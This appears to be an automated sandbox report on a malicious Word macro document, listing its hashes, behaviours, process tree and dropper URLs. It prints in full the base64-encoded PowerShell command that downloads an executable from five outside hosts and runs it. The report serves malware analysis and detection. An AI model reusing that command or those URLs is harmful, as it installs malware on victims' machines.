Analysis

  • max time kernel
    124s
  • max time network
    91s
  • platform
    windows7_x64
  • resource
    win7-20220715-en
  • resource tags

    arch:x64arch:x86image:win7-20220715-enlocale:en-usos:windows7-x64system
  • submitted
    24-07-2022 20:50

General

  • Target

    476bda4086b08cc29f2b675ef7ad67b3dc2fbecfedc65c4ebaab846b035fff65.doc

  • Size

    281KB

  • MD5

    2e974bad821edcef033d931f6ced371a

  • SHA1

    f2982a048f385ce38682fa2a811e3f87fba86fb0

  • SHA256

    476bda4086b08cc29f2b675ef7ad67b3dc2fbecfedc65c4ebaab846b035fff65

  • SHA512

    2341f94897dbb06c622b6c939abc5d04b8cdf366ecf3d01b1f8c9295383490b3dae39bcab9e74a783c3f8cf3a771da844a8a31fce61f65d42dec0c8f50edd9ae

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://thesilverant.com/test/dvr9/

exe.dropper

http://firstmnd.com/wp/wp-content/3k960/

exe.dropper

http://citylandgovap.net/8dqs5fv/6J/

exe.dropper

http://deredia.com/cgi-bin/cbas/

exe.dropper

http://fattoriaiponti.com/wp-admin/o1wiEqPfN/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\476bda4086b08cc29f2b675ef7ad67b3dc2fbecfedc65c4ebaab846b035fff65.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1308
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:976
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABiADAAOQAwADUAMAAyADAAYwA5ADAAYwA1AD0AJwBiADgAMQAzADcANgAzADQAMwA5AGMAMABjACcAOwAkAGIAeAAyADQANwAwADQANgAwADUAMgAgAD0AIAAnADgANwA3ACcAOwAkAHgAOQAwADEAeAA0ADMAMQAyADMANQAzAD0AJwB4AGIAYwA5ADEAMgAyADAANAAzAHgAJwA7ACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYgB4ADIANAA3ADAANAA2ADAANQAyACsAJwAuAGUAeABlACcAOwAkAHgAMwBjAGIAMAA0ADIAOQA1ADcANgA4AD0AJwBjAHgAMQB4AHgAeAB4ADYAYgA4ADUAJwA7ACQAYwA0ADQAMgA5ADAAMgAwADIAeAB4ADAANAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgB3AEUAYgBDAGwAaQBFAE4AVAA7ACQAYgBjADMAMwAwADEAOAAwAGMAMAA4AD0AJwBoAHQAdABwAHMAOgAvAC8AdABoAGUAcwBpAGwAdgBlAHIAYQBuAHQALgBjAG8AbQAvAHQAZQBzAHQALwBkAHYAcgA5AC8AKgBoAHQAdABwADoALwAvAGYAaQByAHMAdABtAG4AZAAuAGMAbwBtAC8AdwBwAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADMAawA5ADYAMAAvACoAaAB0AHQAcAA6AC8ALwBjAGkAdAB5AGwAYQBuAGQAZwBvAHYAYQBwAC4AbgBlAHQALwA4AGQAcQBzADUAZgB2AC8ANgBKAC8AKgBoAHQAdABwADoALwAvAGQAZQByAGUAZABpAGEALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBjAGIAYQBzAC8AKgBoAHQAdABwADoALwAvAGYAYQB0AHQAbwByAGkAYQBpAHAAbwBuAHQAaQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbwAxAHcAaQBFAHEAUABmAE4ALwAnAC4AIgBTAHAAYABsAGkAdAAiACgAJwAqACcAKQA7ACQAeAAzADMANgBjADUAMAAxADAAYgAyADcAPQAnAGIAOQA2ADcAYgAxAHgAMgAwADEAMgAnADsAZgBvAHIAZQBhAGMAaAAoACQAeAAzADcANQAwADAAOAAxADAAMAA1ADcAYwAgAGkAbgAgACQAYgBjADMAMwAwADEAOAAwAGMAMAA4ACkAewB0AHIAeQB7ACQAYwA0ADQAMgA5ADAAMgAwADIAeAB4ADAANAAuACIAZABPAFcAbgBMAGAATwBhAGQAZgBgAEkATABFACIAKAAkAHgAMwA3ADUAMAAwADgAMQAwADAANQA3AGMALAAgACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgApADsAJABiADYAMgA2ADgAMQB4AGMAMwBjAHgANAA9ACcAeABiADAAMAA1AGIAMAA1ADAANgB4ADMANQAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAGIANAA4ADAANwA5ADAANwAwAGIAMQA5ADIAKQAuACIATABlAGAATgBHAHQAaAAiACAALQBnAGUAIAAyADcAOQAxADgAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwB0AEEAYABSAHQAIgAoACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgApADsAJAB4ADIAYgAwADcAOAA3ADcAOAA0ADAAMAA9ACcAYgAxADAAMgAwADEAMAAxADAAMAA2ADAAJwA7AGIAcgBlAGEAawA7ACQAYgAyADAAOAAyADAAeAAwADIAYwAzADMANQA9ACcAeAAxAHgAMQAxAHgAMAA0AGMANQA4ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGIAYwA1ADkAMAAwAGIAMwA4ADEAOAAyADcAPQAnAGMAMAA3ADkAOAAwADkAOQA2ADgANgA4ADkAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:540

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/540-69-0x000007FEF3BC0000-0x000007FEF45E3000-memory.dmp
      Filesize

      10.1MB

    • memory/540-76-0x000000000241B000-0x000000000243A000-memory.dmp
      Filesize

      124KB

    • memory/540-75-0x0000000002414000-0x0000000002417000-memory.dmp
      Filesize

      12KB

    • memory/540-74-0x000000000241B000-0x000000000243A000-memory.dmp
      Filesize

      124KB

    • memory/540-73-0x0000000002414000-0x0000000002417000-memory.dmp
      Filesize

      12KB

    • memory/540-72-0x000000000241B000-0x000000000243A000-memory.dmp
      Filesize

      124KB

    • memory/540-70-0x000007FEF3060000-0x000007FEF3BBD000-memory.dmp
      Filesize

      11.4MB

    • memory/540-71-0x0000000002414000-0x0000000002417000-memory.dmp
      Filesize

      12KB

    • memory/976-60-0x000007FEFB7A1000-0x000007FEFB7A3000-memory.dmp
      Filesize

      8KB

    • memory/976-59-0x0000000000000000-mapping.dmp
    • memory/1308-62-0x0000000000875000-0x0000000000879000-memory.dmp
      Filesize

      16KB

    • memory/1308-63-0x0000000000875000-0x0000000000879000-memory.dmp
      Filesize

      16KB

    • memory/1308-66-0x0000000000875000-0x0000000000879000-memory.dmp
      Filesize

      16KB

    • memory/1308-67-0x0000000070CFD000-0x0000000070D08000-memory.dmp
      Filesize

      44KB

    • memory/1308-61-0x0000000000875000-0x0000000000879000-memory.dmp
      Filesize

      16KB

    • memory/1308-64-0x0000000000875000-0x0000000000879000-memory.dmp
      Filesize

      16KB

    • memory/1308-54-0x0000000072291000-0x0000000072294000-memory.dmp
      Filesize

      12KB

    • memory/1308-65-0x0000000000875000-0x0000000000879000-memory.dmp
      Filesize

      16KB

    • memory/1308-58-0x0000000075681000-0x0000000075683000-memory.dmp
      Filesize

      8KB

    • memory/1308-57-0x0000000070CFD000-0x0000000070D08000-memory.dmp
      Filesize

      44KB

    • memory/1308-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1308-55-0x000000006FD11000-0x000000006FD13000-memory.dmp
      Filesize

      8KB

    • memory/1308-77-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1308-78-0x0000000070CFD000-0x0000000070D08000-memory.dmp
      Filesize

      44KB